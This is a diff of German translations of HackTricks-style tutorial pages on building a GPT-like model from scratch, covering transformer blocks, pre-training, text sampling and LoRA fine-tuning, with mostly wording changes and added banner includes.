- **Glatte Aktivierung:** Im Gegensatz zu ReLU, das negative Eingaben auf null setzt, ordnet GELU Eingaben sanft Ausgaben zu und ermöglicht kleine, von null verschiedene Werte für negative Eingaben.
|
||||
- **Mathematische Definition:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -259,7 +261,7 @@ Dies wurde bereits in einem früheren Abschnitt erklärt.
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Multi-Head Self-Attention:** Ermöglicht es dem Modell, sich auf verschiedene Positionen innerhalb der Eingabesequenz zu konzentrieren, wenn es ein Token kodiert.
|
||||
- **Schlüsselfunktionen:**
|
||||
- **Schlüsselelemente:**
|
||||
- **Abfragen, Schlüssel, Werte:** Lineare Projektionen der Eingabe, die zur Berechnung der Aufmerksamkeitswerte verwendet werden.
|
||||
- **Köpfe:** Mehrere Aufmerksamkeitsmechanismen, die parallel laufen (`num_heads`), jeder mit einer reduzierten Dimension (`head_dim`).
|
||||
- **Aufmerksamkeitswerte:** Berechnet als das Skalarprodukt von Abfragen und Schlüsseln, skaliert und maskiert.
|
||||
@ -302,11 +304,11 @@ return self.scale * norm_x + self.shift
|
||||
- **Skalieren und Verschieben:** Wendet die lernbaren `scale`- und `shift`-Parameter auf die normalisierte Ausgabe an.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel ist es, einen Mittelwert von 0 mit einer Varianz von 1 über alle Dimensionen des gleichen Tokens sicherzustellen. Das Ziel davon ist es, **das Training von tiefen neuronalen Netzwerken zu stabilisieren**, indem der interne Kovariate Shift reduziert wird, der sich auf die Veränderung der Verteilung der Netzwerkaktivierungen aufgrund der Aktualisierung der Parameter während des Trainings bezieht.
|
||||
> Das Ziel ist es, einen Mittelwert von 0 mit einer Varianz von 1 über alle Dimensionen des gleichen Tokens sicherzustellen. Das Ziel davon ist es, **das Training von tiefen neuronalen Netzwerken zu stabilisieren**, indem der interne Kovariatenverschiebung reduziert wird, die sich auf die Änderung der Verteilung der Netzwerkaktivierungen aufgrund der Aktualisierung der Parameter während des Trainings bezieht.
|
||||
|
||||
### **Transformer Block**
|
||||
|
||||
_Shapes wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
_Schablonen wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
@ -349,16 +351,16 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **Zusammensetzung der Schichten:** Kombiniert Multi-Head-Attention, Feedforward-Netzwerk, Layer-Normalisierung und Residualverbindungen.
|
||||
- **Layer-Normalisierung:** Vor der Attention- und Feedforward-Schicht angewendet für stabiles Training.
|
||||
- **Layer-Normalisierung:** Vor der Attention- und Feedforward-Schicht für stabiles Training angewendet.
|
||||
- **Residualverbindungen (Abkürzungen):** Fügen den Eingang einer Schicht zu ihrem Ausgang hinzu, um den Gradientfluss zu verbessern und das Training tiefer Netzwerke zu ermöglichen.
|
||||
- **Dropout:** Nach der Attention- und Feedforward-Schicht zur Regularisierung angewendet.
|
||||
|
||||
#### **Schritt-für-Schritt-Funktionalität**
|
||||
|
||||
1. **Erster Residualpfad (Selbst-Attention):**
|
||||
1. **Erster Residualpfad (Self-Attention):**
|
||||
- **Eingang (`shortcut`):** Speichern des ursprünglichen Eingangs für die Residualverbindung.
|
||||
- **Layer Norm (`norm1`):** Normalisieren des Eingangs.
|
||||
- **Multi-Head-Attention (`att`):** Selbst-Attention anwenden.
|
||||
- **Multi-Head Attention (`att`):** Selbst-Attention anwenden.
|
||||
- **Dropout (`drop_shortcut`):** Dropout zur Regularisierung anwenden.
|
||||
- **Add Residual (`x + shortcut`):** Mit dem ursprünglichen Eingang kombinieren.
|
||||
2. **Zweiter Residualpfad (FeedForward):**
|
||||
@ -376,7 +378,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_ Formen wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
_Schablonen wurden als Kommentare hinzugefügt, um die Formen der Matrizen besser zu verstehen:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
@ -439,10 +441,10 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
- **Dropout (`drop_emb`):** Wird auf Embeddings zur Regularisierung angewendet.
|
||||
- **Transformer-Blöcke (`trf_blocks`):** Stapel von `n_layers` Transformer-Blöcken zur Verarbeitung von Embeddings.
|
||||
- **Finale Normalisierung (`final_norm`):** Schichtnormalisierung vor der Ausgabeschicht.
|
||||
- **Ausgabeschicht (`out_head`):** Projiziert die finalen versteckten Zustände auf die Größe des Vokabulars, um Logits für die Vorhersage zu erzeugen.
|
||||
- **Ausgabeschicht (`out_head`):** Projiziert die finalen versteckten Zustände auf die Vokabulargröße, um Logits für die Vorhersage zu erzeugen.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser Klasse ist es, alle anderen genannten Netzwerke zu **verwenden, um das nächste Token in einer Sequenz vorherzusagen**, was grundlegend für Aufgaben wie die Textgenerierung ist.
|
||||
> Das Ziel dieser Klasse ist es, alle anderen genannten Netzwerke zu verwenden, um **das nächste Token in einer Sequenz vorherzusagen**, was grundlegend für Aufgaben wie die Textgenerierung ist.
|
||||
>
|
||||
> Beachten Sie, wie es **so viele Transformer-Blöcke wie angegeben verwenden wird** und dass jeder Transformer-Block ein Multi-Head-Attention-Netz, ein Feed-Forward-Netz und mehrere Normalisierungen verwendet. Wenn also 12 Transformer-Blöcke verwendet werden, multiplizieren Sie dies mit 12.
|
||||
>
|
||||
@ -608,7 +610,7 @@ total_params = 163,009,536
|
||||
```
|
||||
## Text generieren
|
||||
|
||||
Ein Modell, das das nächste Token wie das vorherige vorhersagt, benötigt lediglich die letzten Token-Werte aus der Ausgabe (da sie die Werte des vorhergesagten Tokens sein werden), was ein **Wert pro Eintrag im Vokabular** sein wird, und dann die `softmax`-Funktion verwenden, um die Dimensionen in Wahrscheinlichkeiten zu normalisieren, die sich auf 1 summieren, und dann den Index des größten Eintrags zu erhalten, der der Index des Wortes im Vokabular sein wird.
|
||||
Ein Modell, das das nächste Token wie das vorherige vorhersagt, benötigt lediglich die letzten Token-Werte aus der Ausgabe (da dies die Werte des vorhergesagten Tokens sein werden), was ein **Wert pro Eintrag im Vokabular** ist. Dann wird die `softmax`-Funktion verwendet, um die Dimensionen in Wahrscheinlichkeiten zu normalisieren, die sich auf 1 summieren, und anschließend wird der Index des größten Eintrags ermittelt, der der Index des Wortes im Vokabular sein wird.
|
||||
|
||||
Code von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
@ -664,3 +666,6 @@ print("Output length:", len(out[0]))
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 6. Pre-Training & Laden von Modellen
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Textgenerierung
|
||||
|
||||
Um ein Modell zu trainieren, müssen wir sicherstellen, dass das Modell in der Lage ist, neue Tokens zu generieren. Dann werden wir die generierten Tokens mit den erwarteten vergleichen, um das Modell darin zu trainieren, **die Tokens zu lernen, die es generieren muss**.
|
||||
Um ein Modell zu trainieren, müssen wir sicherstellen, dass das Modell in der Lage ist, neue Tokens zu generieren. Dann werden wir die generierten Tokens mit den erwarteten vergleichen, um das Modell darauf zu trainieren, **die Tokens zu lernen, die es generieren muss**.
|
||||
|
||||
Wie in den vorherigen Beispielen haben wir bereits einige Tokens vorhergesagt, es ist möglich, diese Funktion für diesen Zweck wiederzuverwenden.
|
||||
|
||||
@ -11,11 +13,11 @@ Wie in den vorherigen Beispielen haben wir bereits einige Tokens vorhergesagt, e
|
||||
|
||||
## Textbewertung
|
||||
|
||||
Um ein korrektes Training durchzuführen, ist es notwendig, die Vorhersagen für das erwartete Token zu überprüfen. Das Ziel des Trainings ist es, die Wahrscheinlichkeit des korrekten Tokens zu maximieren, was bedeutet, dass seine Wahrscheinlichkeit im Verhältnis zu anderen Tokens erhöht wird.
|
||||
Um ein korrektes Training durchzuführen, ist es notwendig, die Vorhersagen für das erwartete Token zu überprüfen. Das Ziel des Trainings ist es, die Wahrscheinlichkeit des korrekten Tokens zu maximieren, was bedeutet, seine Wahrscheinlichkeit im Verhältnis zu anderen Tokens zu erhöhen.
|
||||
|
||||
Um die Wahrscheinlichkeit des korrekten Tokens zu maximieren, müssen die Gewichte des Modells so modifiziert werden, dass diese Wahrscheinlichkeit maximiert wird. Die Aktualisierungen der Gewichte erfolgen über **Backpropagation**. Dies erfordert eine **Verlustfunktion zur Maximierung**. In diesem Fall wird die Funktion die **Differenz zwischen der durchgeführten Vorhersage und der gewünschten** sein.
|
||||
|
||||
Statt mit den rohen Vorhersagen zu arbeiten, wird mit einem Logarithmus zur Basis n gearbeitet. Wenn die aktuelle Vorhersage des erwarteten Tokens also 7.4541e-05 war, ist der natürliche Logarithmus (Basis *e*) von **7.4541e-05** ungefähr **-9.5042**.\
|
||||
Statt mit den Rohvorhersagen zu arbeiten, wird mit einem Logarithmus zur Basis n gearbeitet. Wenn die aktuelle Vorhersage des erwarteten Tokens also 7.4541e-05 war, ist der natürliche Logarithmus (Basis *e*) von **7.4541e-05** ungefähr **-9.5042**.\
|
||||
Dann muss das Modell für jeden Eintrag mit einer Kontextlänge von 5 Tokens beispielsweise 5 Tokens vorhersagen, wobei die ersten 4 Tokens die letzten des Eingangs sind und das fünfte das vorhergesagte. Daher haben wir in diesem Fall für jeden Eintrag 5 Vorhersagen (auch wenn die ersten 4 im Eingang waren, weiß das Modell dies nicht) mit 5 erwarteten Tokens und damit 5 Wahrscheinlichkeiten, die maximiert werden müssen.
|
||||
|
||||
Daher wird nach der Durchführung des natürlichen Logarithmus auf jede Vorhersage der **Durchschnitt** berechnet, das **Minuszeichen entfernt** (dies wird _Kreuzentropieverlust_ genannt) und das ist die **Zahl, die so nah wie möglich an 0 reduziert werden soll**, da der natürliche Logarithmus von 1 gleich 0 ist:
|
||||
@ -27,7 +29,7 @@ Zum Beispiel bedeutet ein Perplexitätswert von 48725, dass das Modell, wenn es
|
||||
|
||||
## Pre-Train Beispiel
|
||||
|
||||
Dies ist der anfängliche Code, der in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) vorgeschlagen wird, manchmal leicht modifiziert.
|
||||
Dies ist der anfängliche Code, der in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) vorgeschlagen wurde, manchmal leicht modifiziert.
|
||||
|
||||
<details>
|
||||
|
||||
@ -527,7 +529,7 @@ torch.save({
|
||||
```
|
||||
### Funktionen zur Transformation von Text <--> IDs
|
||||
|
||||
Dies sind einige einfache Funktionen, die verwendet werden können, um von Texten aus dem Vokabular in IDs und umgekehrt zu transformieren. Dies ist zu Beginn der Verarbeitung des Textes und am Ende der Vorhersagen erforderlich:
|
||||
Dies sind einige einfache Funktionen, die verwendet werden können, um Texte aus dem Vokabular in IDs und umgekehrt zu transformieren. Dies ist zu Beginn der Verarbeitung des Textes und am Ende der Vorhersagen erforderlich:
|
||||
```python
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
@ -541,11 +543,11 @@ return tokenizer.decode(flat.tolist())
|
||||
```
|
||||
### Textgenerierungsfunktionen
|
||||
|
||||
In einem vorherigen Abschnitt wurde eine Funktion vorgestellt, die nur das **wahrscheinlichste Token** nach dem Erhalten der Logits auswählt. Dies bedeutet jedoch, dass für jeden Eingang immer die gleiche Ausgabe generiert wird, was es sehr deterministisch macht.
|
||||
In einem vorherigen Abschnitt wurde eine Funktion vorgestellt, die nur das **wahrscheinlichste Token** nach dem Erhalten der Logits auswählt. Dies bedeutet jedoch, dass für jeden Eingang immer die gleiche Ausgabe generiert wird, was sehr deterministisch ist.
|
||||
|
||||
Die folgende `generate_text`-Funktion wird die Konzepte `top-k`, `temperature` und `multinomial` anwenden.
|
||||
|
||||
- Das **`top-k`** bedeutet, dass wir alle Wahrscheinlichkeiten aller Tokens bis auf die Top-k-Tokens auf `-inf` reduzieren. Wenn k=3, werden vor der Entscheidungsfindung nur die 3 wahrscheinlichsten Tokens eine Wahrscheinlichkeit ungleich `-inf` haben.
|
||||
- Das **`top-k`** bedeutet, dass wir alle Wahrscheinlichkeiten aller Tokens bis auf die Top-k-Tokens auf `-inf` reduzieren. Wenn k=3, haben vor der Entscheidungsfindung nur die 3 wahrscheinlichsten Tokens eine Wahrscheinlichkeit, die sich von `-inf` unterscheidet.
|
||||
- Die **`temperature`** bedeutet, dass jede Wahrscheinlichkeit durch den Temperaturwert geteilt wird. Ein Wert von `0.1` wird die höchste Wahrscheinlichkeit im Vergleich zur niedrigsten erhöhen, während eine Temperatur von `5` beispielsweise sie flacher macht. Dies hilft, die Variation in den Antworten zu verbessern, die wir vom LLM erwarten.
|
||||
- Nach der Anwendung der Temperatur wird erneut eine **`softmax`**-Funktion angewendet, um sicherzustellen, dass alle verbleibenden Tokens eine Gesamtwahrscheinlichkeit von 1 haben.
|
||||
- Schließlich wird anstelle der Auswahl des Tokens mit der größten Wahrscheinlichkeit die Funktion **`multinomial`** angewendet, um **das nächste Token gemäß den endgültigen Wahrscheinlichkeiten vorherzusagen**. Wenn Token 1 also eine Wahrscheinlichkeit von 70%, Token 2 eine von 20% und Token 3 eine von 10% hatte, wird in 70% der Fälle Token 1 ausgewählt, in 20% der Fälle Token 2 und in 10% der Fälle Token 3.
|
||||
@ -590,17 +592,17 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
return idx
|
||||
```
|
||||
> [!TIP]
|
||||
> Es gibt eine gängige Alternative zu `top-k`, die [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling) genannt wird, auch bekannt als Nucleus Sampling. Anstatt k Proben mit der höchsten Wahrscheinlichkeit zu erhalten, **ordnet** es das gesamte resultierende **Wortschatz** nach Wahrscheinlichkeiten und **summiert** sie von der höchsten Wahrscheinlichkeit bis zur niedrigsten, bis ein **Schwellenwert erreicht ist**.
|
||||
> Es gibt eine gängige Alternative zu `top-k`, die als [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling) bekannt ist, auch bekannt als Nucleus-Sampling, die anstelle von k Proben mit der höchsten Wahrscheinlichkeit alle resultierenden **Vokabeln** nach Wahrscheinlichkeiten **organisiert** und sie von der höchsten Wahrscheinlichkeit zur niedrigsten **summiert**, bis ein **Schwellenwert erreicht ist**.
|
||||
>
|
||||
> Dann werden **nur diese Wörter** des Wortschatzes entsprechend ihrer relativen Wahrscheinlichkeiten berücksichtigt.
|
||||
> Dann werden **nur diese Wörter** des Vokabulars entsprechend ihrer relativen Wahrscheinlichkeiten berücksichtigt.
|
||||
>
|
||||
> Dies ermöglicht es, keine Anzahl von `k` Proben auszuwählen, da das optimale k in jedem Fall unterschiedlich sein könnte, sondern **nur einen Schwellenwert**.
|
||||
> Dies ermöglicht es, keine Anzahl von `k` Proben auszuwählen, da das optimale k in jedem Fall unterschiedlich sein kann, sondern **nur einen Schwellenwert**.
|
||||
>
|
||||
> _Beachten Sie, dass diese Verbesserung im vorherigen Code nicht enthalten ist._
|
||||
|
||||
> [!TIP]
|
||||
> Eine weitere Möglichkeit, den generierten Text zu verbessern, besteht darin, **Beam Search** anstelle der in diesem Beispiel verwendeten gierigen Suche zu verwenden.\
|
||||
> Im Gegensatz zur gierigen Suche, die das wahrscheinlichste nächste Wort in jedem Schritt auswählt und eine einzelne Sequenz aufbaut, **verfolgt Beam Search die top 𝑘 k am höchsten bewerteten Teilssequenzen** (genannt "Beams") in jedem Schritt. Durch die gleichzeitige Erkundung mehrerer Möglichkeiten balanciert es Effizienz und Qualität und erhöht die Chancen, eine **bessere Gesamtsequenz** zu finden, die von der gierigen Methode aufgrund früher, suboptimaler Entscheidungen übersehen werden könnte.
|
||||
> Im Gegensatz zur gierigen Suche, die das wahrscheinlichste nächste Wort in jedem Schritt auswählt und eine einzelne Sequenz aufbaut, **verfolgt Beam Search die top 𝑘 k am höchsten bewerteten Teilssequenzen** (genannt "Beams") in jedem Schritt. Durch die gleichzeitige Erkundung mehrerer Möglichkeiten balanciert es Effizienz und Qualität und erhöht die Chancen, eine **bessere Gesamtsequenz** zu finden, die durch die gierige Methode aufgrund früher, suboptimaler Entscheidungen übersehen werden könnte.
|
||||
>
|
||||
> _Beachten Sie, dass diese Verbesserung im vorherigen Code nicht enthalten ist._
|
||||
|
||||
@ -647,13 +649,13 @@ return total_loss / num_batches
|
||||
|
||||
Die Funktionen `create_dataloader_v1` und `create_dataloader_v1` wurden bereits in einem vorherigen Abschnitt besprochen.
|
||||
|
||||
Hier ist zu beachten, wie definiert ist, dass 90 % des Textes für das Training verwendet werden, während die 10 % für die Validierung verwendet werden, und beide Sätze in 2 verschiedenen Datenladeprogrammen gespeichert werden.\
|
||||
Beachten Sie, dass manchmal ein Teil des Datensatzes auch für einen Testdatensatz reserviert bleibt, um die Leistung des Modells besser zu bewerten.
|
||||
Hier ist zu beachten, wie definiert ist, dass 90% des Textes für das Training verwendet werden, während die 10% für die Validierung verwendet werden, und beide Sätze in 2 verschiedenen Datenladegeräten gespeichert werden.\
|
||||
Beachten Sie, dass manchmal ein Teil des Datensatzes auch für einen Testdatensatz reserviert wird, um die Leistung des Modells besser zu bewerten.
|
||||
|
||||
Beide Datenladeprogramme verwenden die gleiche Batch-Größe, maximale Länge, Schrittweite und Anzahl der Arbeiter (0 in diesem Fall).\
|
||||
Die Hauptunterschiede sind die verwendeten Daten und dass der Validator die letzten Daten nicht verwirft und die Daten nicht mischt, da dies für Validierungszwecke nicht erforderlich ist.
|
||||
Beide Datenladegeräte verwenden die gleiche Batch-Größe, maximale Länge, Schrittweite und Anzahl der Arbeiter (0 in diesem Fall).\
|
||||
Die Hauptunterschiede sind die verwendeten Daten und der Validator, der die letzte nicht fallen lässt und die Daten nicht mischt, da dies für Validierungszwecke nicht erforderlich ist.
|
||||
|
||||
Auch die Tatsache, dass **die Schrittweite so groß ist wie die Kontextlänge**, bedeutet, dass es keine Überlappungen zwischen den Kontexten gibt, die zum Trainieren der Daten verwendet werden (verringert Overfitting, aber auch den Trainingsdatensatz).
|
||||
Auch die Tatsache, dass **die Schrittweite so groß ist wie die Kontextlänge**, bedeutet, dass es keine Überlappungen zwischen den Kontexten gibt, die zum Trainieren der Daten verwendet werden (reduziert Overfitting, aber auch den Trainingsdatensatz).
|
||||
|
||||
Darüber hinaus beachten Sie, dass die Batch-Größe in diesem Fall 2 beträgt, um die Daten in 2 Batches zu unterteilen. Das Hauptziel dabei ist es, parallele Verarbeitung zu ermöglichen und den Verbrauch pro Batch zu reduzieren.
|
||||
```python
|
||||
@ -758,7 +760,7 @@ Dann ist die große Funktion `train_model_simple` diejenige, die tatsächlich da
|
||||
- Den Validierungs-Loader
|
||||
- Den **Optimizer**, der während des Trainings verwendet wird: Dies ist die Funktion, die die Gradienten verwendet und die Parameter aktualisiert, um den Verlust zu reduzieren. In diesem Fall, wie Sie sehen werden, wird `AdamW` verwendet, aber es gibt viele weitere.
|
||||
- `optimizer.zero_grad()` wird aufgerufen, um die Gradienten in jeder Runde zurückzusetzen, um eine Akkumulation zu vermeiden.
|
||||
- Der **`lr`**-Parameter ist die **Lernrate**, die die **Größe der Schritte** bestimmt, die während des Optimierungsprozesses beim Aktualisieren der Modellparameter unternommen werden. Eine **kleinere** Lernrate bedeutet, dass der Optimizer **kleinere Updates** für die Gewichte vornimmt, was zu einer **genaueren** Konvergenz führen kann, aber das Training **verlangsamen** könnte. Eine **größere** Lernrate kann das Training beschleunigen, birgt jedoch das Risiko, das Minimum der Verlustfunktion **zu überschreiten** (**über** den Punkt hinauszuspringen, an dem die Verlustfunktion minimiert wird).
|
||||
- Der **`lr`**-Parameter ist die **Lernrate**, die die **Größe der Schritte** bestimmt, die während des Optimierungsprozesses beim Aktualisieren der Modellparameter unternommen werden. Eine **kleinere** Lernrate bedeutet, dass der Optimizer **kleinere Updates** für die Gewichte vornimmt, was zu einer **genaueren** Konvergenz führen kann, aber das Training **verlangsamen** könnte. Eine **größere** Lernrate kann das Training beschleunigen, birgt jedoch das **Risiko, das Minimum** der Verlustfunktion **zu überschreiten** (**über** den Punkt hinauszuspringen, an dem die Verlustfunktion minimiert wird).
|
||||
- **Weight Decay** modifiziert den Schritt der **Verlustberechnung**, indem ein zusätzlicher Term hinzugefügt wird, der große Gewichte bestraft. Dies ermutigt den Optimizer, Lösungen mit kleineren Gewichten zu finden, und balanciert zwischen einer guten Anpassung an die Daten und der Beibehaltung des Modells einfach, um Überanpassung in maschinellen Lernmodellen zu verhindern, indem das Modell davon abgehalten wird, einer einzelnen Eigenschaft zu viel Bedeutung beizumessen.
|
||||
- Traditionelle Optimierer wie SGD mit L2-Regularisierung koppeln Weight Decay mit dem Gradienten der Verlustfunktion. **AdamW** (eine Variante des Adam-Optimierers) entkoppelt jedoch Weight Decay von der Gradientenaktualisierung, was zu einer effektiveren Regularisierung führt.
|
||||
- Das Gerät, das für das Training verwendet werden soll
|
||||
@ -830,7 +832,7 @@ model.train() # Back to training model applying all the configurations
|
||||
> [!TIP]
|
||||
> Um die Lernrate zu verbessern, gibt es einige relevante Techniken namens **linear warmup** und **cosine decay.**
|
||||
>
|
||||
> **Linear warmup** besteht darin, eine anfängliche Lernrate und eine maximale Lernrate zu definieren und diese nach jeder Epoche konsistent zu aktualisieren. Dies liegt daran, dass das Starten des Trainings mit kleineren Gewichtsanpassungen das Risiko verringert, dass das Modell während seiner Trainingsphase auf große, destabilisierende Anpassungen stößt.\
|
||||
> **Linear warmup** besteht darin, eine anfängliche Lernrate und eine maximale festzulegen und diese nach jeder Epoche konsistent zu aktualisieren. Dies liegt daran, dass das Starten des Trainings mit kleineren Gewichtsanpassungen das Risiko verringert, dass das Modell während seiner Trainingsphase auf große, destabilisierende Anpassungen stößt.\
|
||||
> **Cosine decay** ist eine Technik, die die **Lernrate allmählich reduziert**, indem sie einer halben Kosinuskurve **nach der Warmup**-Phase folgt, wodurch die Gewichtsanpassungen verlangsamt werden, um **das Risiko des Überschreitens** der Verlustminima zu minimieren und die Trainingsstabilität in späteren Phasen zu gewährleisten.
|
||||
>
|
||||
> _Beachten Sie, dass diese Verbesserungen im vorherigen Code nicht enthalten sind._
|
||||
@ -856,7 +858,7 @@ end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
```
|
||||
### Drucke die Trainingsentwicklung
|
||||
### Drucke Trainingsentwicklung
|
||||
|
||||
Mit der folgenden Funktion ist es möglich, die Entwicklung des Modells während des Trainings zu drucken.
|
||||
```python
|
||||
@ -895,9 +897,9 @@ plt.show()
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
```
|
||||
### Modell speichern
|
||||
### Speichern Sie das Modell
|
||||
|
||||
Es ist möglich, das Modell + den Optimierer zu speichern, wenn Sie das Training später fortsetzen möchten:
|
||||
Es ist möglich, das Modell + den Optimierer zu speichern, wenn Sie später mit dem Training fortfahren möchten:
|
||||
```python
|
||||
# Save the model and the optimizer for later training
|
||||
torch.save({
|
||||
@ -939,3 +941,6 @@ Es gibt 2 schnelle Skripte, um die GPT2-Gewichte lokal zu laden. Für beide kön
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,23 +1,25 @@
|
||||
# 7.0. LoRA-Verbesserungen beim Feintuning
|
||||
# 7.0. LoRA Verbesserungen im Fine-Tuning
|
||||
|
||||
## LoRA-Verbesserungen
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## LoRA Verbesserungen
|
||||
|
||||
> [!TIP]
|
||||
> Die Verwendung von **LoRA reduziert erheblich die benötigte Berechnung**, um **bereits trainierte Modelle feinzutunen**.
|
||||
> Die Verwendung von **LoRA reduziert erheblich die Berechnung**, die erforderlich ist, um **bereits trainierte Modelle fein abzustimmen**.
|
||||
|
||||
LoRA ermöglicht es, **große Modelle** effizient zu feintunen, indem nur ein **kleiner Teil** des Modells geändert wird. Es reduziert die Anzahl der Parameter, die Sie trainieren müssen, und spart **Speicher** und **Rechenressourcen**. Das liegt daran, dass:
|
||||
LoRA ermöglicht es, **große Modelle** effizient fein abzustimmen, indem nur ein **kleiner Teil** des Modells geändert wird. Es reduziert die Anzahl der Parameter, die Sie trainieren müssen, und spart **Speicher** und **Rechenressourcen**. Das liegt daran, dass:
|
||||
|
||||
1. **Die Anzahl der trainierbaren Parameter reduziert wird**: Anstatt die gesamte Gewichtsmatrix im Modell zu aktualisieren, **teilt** LoRA die Gewichtsmatrix in zwei kleinere Matrizen (genannt **A** und **B**). Dies macht das Training **schneller** und erfordert **weniger Speicher**, da weniger Parameter aktualisiert werden müssen.
|
||||
1. **Reduziert die Anzahl der trainierbaren Parameter**: Anstatt die gesamte Gewichtsmatrix im Modell zu aktualisieren, **teilt** LoRA die Gewichtsmatrix in zwei kleinere Matrizen (genannt **A** und **B**). Dies macht das Training **schneller** und erfordert **weniger Speicher**, da weniger Parameter aktualisiert werden müssen.
|
||||
|
||||
1. Das liegt daran, dass anstatt die vollständige Gewichtsanpassung einer Schicht (Matrix) zu berechnen, sie auf ein Produkt von 2 kleineren Matrizen approximiert wird, wodurch die Anpassung reduziert wird, die berechnet werden muss:\
|
||||
1. Das liegt daran, dass anstelle der Berechnung der vollständigen Gewichtsanpassung einer Schicht (Matrix) diese auf das Produkt von 2 kleineren Matrizen approximiert wird, wodurch die Aktualisierung zur Berechnung reduziert wird:\
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Hält die ursprünglichen Modellgewichte unverändert**: LoRA ermöglicht es Ihnen, die ursprünglichen Modellgewichte gleich zu lassen und nur die **neuen kleinen Matrizen** (A und B) zu aktualisieren. Dies ist hilfreich, da es bedeutet, dass das ursprüngliche Wissen des Modells erhalten bleibt und Sie nur das anpassen, was notwendig ist.
|
||||
3. **Effizientes aufgabenspezifisches Feintuning**: Wenn Sie das Modell an eine **neue Aufgabe** anpassen möchten, können Sie einfach die **kleinen LoRA-Matrizen** (A und B) trainieren, während der Rest des Modells unverändert bleibt. Dies ist **viel effizienter** als das gesamte Modell neu zu trainieren.
|
||||
4. **Speichereffizienz**: Nach dem Feintuning müssen Sie anstelle eines **komplett neuen Modells** für jede Aufgabe nur die **LoRA-Matrizen** speichern, die im Vergleich zum gesamten Modell sehr klein sind. Dies erleichtert es, das Modell an viele Aufgaben anzupassen, ohne zu viel Speicherplatz zu verwenden.
|
||||
2. **Hält die ursprünglichen Modellgewichte unverändert**: LoRA ermöglicht es Ihnen, die ursprünglichen Modellgewichte gleich zu lassen und nur die **neuen kleinen Matrizen** (A und B) zu aktualisieren. Dies ist hilfreich, da es bedeutet, dass das ursprüngliche Wissen des Modells erhalten bleibt und Sie nur das Notwendige anpassen.
|
||||
3. **Effizientes aufgabenspezifisches Fine-Tuning**: Wenn Sie das Modell an eine **neue Aufgabe** anpassen möchten, können Sie einfach die **kleinen LoRA-Matrizen** (A und B) trainieren, während der Rest des Modells unverändert bleibt. Dies ist **viel effizienter** als das gesamte Modell neu zu trainieren.
|
||||
4. **Speichereffizienz**: Nach dem Fine-Tuning müssen Sie anstelle eines **komplett neuen Modells** für jede Aufgabe nur die **LoRA-Matrizen** speichern, die im Vergleich zum gesamten Modell sehr klein sind. Dies erleichtert die Anpassung des Modells an viele Aufgaben, ohne zu viel Speicherplatz zu verwenden.
|
||||
|
||||
Um LoraLayers anstelle von linearen während eines Feintunings zu implementieren, wird hier dieser Code vorgeschlagen [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
Um LoraLayers anstelle von linearen während eines Fine-Tunings zu implementieren, wird hier dieser Code vorgeschlagen [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
